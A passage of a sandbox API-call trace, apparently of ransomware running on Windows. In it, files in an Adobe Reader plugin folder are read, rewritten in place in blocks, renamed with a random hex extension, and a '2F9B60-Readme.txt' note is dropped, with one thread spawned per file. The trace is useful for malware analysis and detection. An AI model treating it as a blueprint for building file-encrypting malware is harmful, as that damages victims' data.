lpNumberOfBytesRead=0x34a2fb40, lpOverlapped=0x0 | out: lpBuffer=0x42553da0*, lpNumberOfBytesRead=0x34a2fb40*=0x3c00, lpOverlapped=0x0) returned 1 [0151.822] SetFilePointerEx (in: hFile=0x2578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420589c0 [0151.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868340 [0151.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffea0 [0151.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffea0) returned 1 [0151.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42562de0 [0151.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffea0 [0151.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500110 [0151.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500110) returned 1 [0151.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868340) returned 1 [0151.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420589c0) returned 1 [0151.824] WriteFile (hFile=0x2578, lpBuffer=0x42562de0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x34a2fb40, lpOverlapped=0x0) [0194.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42562de0) returned 1 [0194.382] SetFilePointerEx (in: hFile=0x2578, liDistanceToMove=0x43800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.382] ReadFile (in: hFile=0x2578, lpBuffer=0x42553da0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x34a2fb40, lpOverlapped=0x0 | out: lpBuffer=0x42553da0*, lpNumberOfBytesRead=0x34a2fb40*=0x3c00, lpOverlapped=0x0) returned 1 [0194.564] SetFilePointerEx (in: hFile=0x2578, liDistanceToMove=0x43800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc50 [0194.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba3e0 [0194.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5090 [0194.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5090) returned 1 [0194.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20455b00 [0194.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5090 [0194.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5030 [0194.567] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5030) returned 1 [0194.567] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba3e0) returned 1 [0194.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc50) returned 1 [0194.568] WriteFile (in: hFile=0x2578, lpBuffer=0x20455b00*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x34a2fb40, lpOverlapped=0x0 | out: lpBuffer=0x20455b00*, lpNumberOfBytesWritten=0x34a2fb40*=0x3c00, lpOverlapped=0x0) returned 1 [0210.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20455b00) returned 1 [0210.375] SetFilePointerEx (in: hFile=0x2578, liDistanceToMove=0x82d88, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.375] ReadFile (in: hFile=0x2578, lpBuffer=0x42553da0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x34a2fb40, lpOverlapped=0x0 | out: lpBuffer=0x42553da0*, lpNumberOfBytesRead=0x34a2fb40*=0x3c00, lpOverlapped=0x0) returned 1 [0210.382] SetFilePointerEx (in: hFile=0x2578, liDistanceToMove=0x82d88, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0210.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23ea0 [0210.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff190 [0210.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff190) returned 1 [0210.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20460f30 [0210.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff190 [0210.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd870 [0210.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd870) returned 1 [0210.385] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23ea0) returned 1 [0210.385] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0210.385] WriteFile (in: hFile=0x2578, lpBuffer=0x20460f30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x34a2fb40, lpOverlapped=0x0 | out: lpBuffer=0x20460f30*, lpNumberOfBytesWritten=0x34a2fb40*=0x3c00, lpOverlapped=0x0) returned 1 [0222.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20460f30) returned 1 [0222.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ce15530 [0222.404] SetFilePointerEx (in: hFile=0x2578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0222.404] WriteFile (in: hFile=0x2578, lpBuffer=0x1cebc970*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x34a2fbf0, lpOverlapped=0x0 | out: lpBuffer=0x1cebc970*, lpNumberOfBytesWritten=0x34a2fbf0*=0x13e, lpOverlapped=0x0) returned 1 [0224.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61e20 [0224.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e8f0 [0224.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f070 [0224.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f070) returned 1 [0224.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x1b82cfe0 [0224.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f070 [0224.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dc90 [0224.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050dc90) returned 1 [0224.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e8f0) returned 1 [0224.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61e20) returned 1 [0224.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x19) returned 0x2050dc90 [0224.649] sprintf (in: _Dest=0x2050dc90, _Format="%c%c" | out: _Dest="f8") returned 2 [0224.649] sprintf (in: _Dest=0x2050dc92, _Format="%c%c" | out: _Dest="73") returned 2 [0224.649] sprintf (in: _Dest=0x2050dc94, _Format="%c%c" | out: _Dest="70") returned 2 [0224.649] sprintf (in: _Dest=0x2050dc96, _Format="%c%c" | out: _Dest="8b") returned 2 [0224.649] sprintf (in: _Dest=0x2050dc98, _Format="%c%c" | out: _Dest="ea") returned 2 [0224.650] sprintf (in: _Dest=0x2050dc9a, _Format="%c%c" | out: _Dest="4a") returned 2 [0224.650] sprintf (in: _Dest=0x2050dc9c, _Format="%c%c" | out: _Dest="b4") returned 2 [0224.650] sprintf (in: _Dest=0x2050dc9e, _Format="%c%c" | out: _Dest="64") returned 2 [0224.650] sprintf (in: _Dest=0x2050dca0, _Format="%c%c" | out: _Dest="7b") returned 2 [0224.650] sprintf (in: _Dest=0x2050dca2, _Format="%c%c" | out: _Dest="a2") returned 2 [0224.650] sprintf (in: _Dest=0x2050dca4, _Format="%c%c" | out: _Dest="35") returned 2 [0224.650] sprintf (in: _Dest=0x2050dca6, _Format="%c%c" | out: _Dest="07") returned 2 [0224.650] RtlInitAnsiString (in: DestinationString=0x34a2fc68, SourceString="f873708bea4ab4647ba23507" | out: DestinationString="f873708bea4ab4647ba23507") [0224.650] RtlAnsiStringToUnicodeString (in: DestinationString=0x34a2fc38, SourceString="f873708bea4ab4647ba23507", AllocateDestinationString=1 | out: DestinationString="f873708bea4ab4647ba23507") returned 0x0 [0224.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x431ad5e0 [0224.651] wcscat (in: _Dest=0x20505cd0, _Source="f87370" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\f87370") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\f87370" [0224.651] wcscat (in: _Dest=0x20505cd0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\f87370.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\f87370.2f9b60" [0224.651] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\f87370.2f9b60", NtPathName=0x34a2fc10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\f87370.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0224.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x202791f0 [0225.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202791f0) returned 1 [0225.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431aff30) returned 1 [0225.151] NtQueryInformationFile (in: FileHandle=0x2578, IoStatusBlock=0x34a2fc78, FileInformation=0x34a2fc88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x34a2fc78, FileInformation=0x34a2fc88) returned 0x0 [0225.151] NtSetInformationFile (FileHandle=0x2578, IoStatusBlock=0x34a2fc78, FileInformation=0x34a2fc88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0226.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505cd0) returned 1 [0226.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ad5e0) returned 1 [0226.176] FlushFileBuffers (hFile=0x2578) returned 1 [0226.179] CloseHandle (hObject=0x2578) returned 1 [0226.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x431f4e00 [0226.449] wcscpy (in: _Dest=0x431f4e00, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\" [0226.449] wcscat (in: _Dest=0x431f4e00, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\2F9B60-Readme.txt" [0226.449] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\2f9b60-readme.txt")) returned 0xffffffff [0226.449] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0226.984] WriteFile (in: hFile=0x548, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x34a2fb30, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x34a2fb30*=0xba9, lpOverlapped=0x0) returned 1 [0237.797] CloseHandle (hObject=0x548) returned 1 [0238.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f4e00) returned 1 [0238.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4b920) returned 1 [0238.263] FindNextFileW (in: hFindFile=0x1ced6040, lpFindFileData=0x1cd62540 | out: lpFindFileData=0x1cd62540*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbe6020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="3difr.x3d", cAlternateFileName="")) returned 1 [0238.263] wcscmp (_String1="3difr.x3d", _String2=".") returned 1 [0238.263] wcscmp (_String1="3difr.x3d", _String2="..") returned 1 [0238.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x20507f50 [0238.263] wcscpy (in: _Dest=0x20507f50, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" [0238.263] wcscat (in: _Dest=0x20507f50, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\" [0238.263] wcscat (in: _Dest=0x20507f50, _Source="3difr.x3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\3difr.x3d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\3difr.x3d" [0238.337] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20507f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22f4 [0238.342] FindNextFileW (in: hFindFile=0x1ced6040, lpFindFileData=0x1cd62540 | out: lpFindFileData=0x1cd62540*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbe6020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6a590, dwReserved0=0x0, dwReserved1=0x0, cFileName="drvDX8.x3d", cAlternateFileName="")) returned 1 [0238.342] wcscmp (_String1="drvDX8.x3d", _String2=".") returned 1 [0238.342] wcscmp (_String1="drvDX8.x3d", _String2="..") returned 1 [0238.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x205093f0 [0238.343] wcscpy (in: _Dest=0x205093f0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" [0238.343] wcscat (in: _Dest=0x205093f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\" [0238.343] wcscat (in: _Dest=0x205093f0, _Source="drvDX8.x3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\drvDX8.x3d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\drvDX8.x3d" [0238.343] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x205093f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2620 [0238.345] FindNextFileW (in: hFindFile=0x1ced6040, lpFindFileData=0x1cd62540 | out: lpFindFileData=0x1cd62540*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbe6020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc6f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="drvDX9.x3d", cAlternateFileName="")) returned 1 [0238.345] wcscmp (_String1="drvDX9.x3d", _String2=".") returned 1 [0238.345] wcscmp (_String1="drvDX9.x3d", _String2="..") returned 1 [0238.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x43187f80 [0238.346] wcscpy (in: _Dest=0x43187f80, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" [0238.346] wcscat (in: _Dest=0x43187f80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\" [0238.346] wcscat (in: _Dest=0x43187f80, _Source="drvDX9.x3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\drvDX9.x3d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\drvDX9.x3d" [0238.346] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43187f80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb34 [0238.347] FindNextFileW (in: hFindFile=0x1ced6040, lpFindFileData=0x1cd62540 | out: lpFindFileData=0x1cd62540*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x35190, dwReserved0=0x0, dwReserved1=0x0, cFileName="drvSOFT.x3d", cAlternateFileName="")) returned 1 [0238.347] wcscmp (_String1="drvSOFT.x3d", _String2=".") returned 1 [0238.347] wcscmp (_String1="drvSOFT.x3d", _String2="..") returned 1 [0238.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x43188160 [0238.347] wcscpy (in: _Dest=0x43188160, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" [0238.347] wcscat (in: _Dest=0x43188160, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\" [0238.347] wcscat (in: _Dest=0x43188160, _Source="drvSOFT.x3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\drvSOFT.x3d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\drvSOFT.x3d" [0238.347] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43188160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x708 [0238.348] FindNextFileW (in: hFindFile=0x1ced6040, lpFindFileData=0x1cd62540 | out: lpFindFileData=0x1cd62540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dbbfec0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="prc", cAlternateFileName="")) returned 1 [0238.348] wcscmp (_String1="prc", _String2=".") returned 1 [0238.348] wcscmp (_String1="prc", _String2="..") returned 1 [0238.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cf4b890 [0238.348] wcscpy (in: _Dest=0x1cf4b890, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" [0238.349] wcscat (in: _Dest=0x1cf4b890, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\" [0238.349] wcscat (in: _Dest=0x1cf4b890, _Source="prc" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc" [0238.349] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cf4b890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2530 [0238.351] FindNextFileW (in: hFindFile=0x1ced6040, lpFindFileData=0x1cd62540 | out: lpFindFileData=0x1cd62540*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc58440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x301190, dwReserved0=0x0, dwReserved1=0x0, cFileName="prcr.x3d", cAlternateFileName="")) returned 1 [0238.351] wcscmp (_String1="prcr.x3d", _String2=".") returned 1 [0238.351] wcscmp (_String1="prcr.x3d", _String2="..") returned 1 [0238.351] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202ae770 [0238.352] wcscpy (in: _Dest=0x202ae770, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" [0238.352] wcscat (in: _Dest=0x202ae770, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\" [0238.352] wcscat (in: _Dest=0x202ae770, _Source="prcr.x3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prcr.x3d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prcr.x3d" [0238.352] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ae770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ca8 [0238.354] FindNextFileW (in: hFindFile=0x1ced6040, lpFindFileData=0x1cd62540 | out: lpFindFileData=0x1cd62540*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5798, dwReserved0=0x0, dwReserved1=0x0, cFileName="tesselate.x3d", cAlternateFileName="TESSEL~1.X3D")) returned 1 [0238.354] wcscmp (_String1="tesselate.x3d", _String2=".") returned 1 [0238.354] wcscmp (_String1="tesselate.x3d", _String2="..") returned 1 [0238.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x43188480 [0238.354] wcscpy (in: _Dest=0x43188480, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" [0238.354] wcscat (in: _Dest=0x43188480, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\" [0238.354] wcscat (in: _Dest=0x43188480, _Source="tesselate.x3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\tesselate.x3d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\tesselate.x3d" [0238.354] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43188480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1764 [0238.355] FindNextFileW (in: hFindFile=0x1ced6040, lpFindFileData=0x1cd62540 | out: lpFindFileData=0x1cd62540*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5798, dwReserved0=0x0, dwReserved1=0x0, cFileName="tesselate.x3d", cAlternateFileName="TESSEL~1.X3D")) returned 0 [0238.355] FindClose (in: hFindFile=0x1ced6040 | out: hFindFile=0x1ced6040) returned 1 [0238.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd62540) returned 1 [0238.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4c3d0) returned 1 [0238.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef10) returned 1 Thread: id = 2054 os_tid = 0x1318 [0137.940] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\pmd.cer" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\pmd.cer")) returned 0x20 [0137.941] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\pmd.cer", dwFileAttributes=0x20) returned 1 [0137.942] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\pmd.cer" (normalized: "c:\\program files (x86)\\adobe\\reader 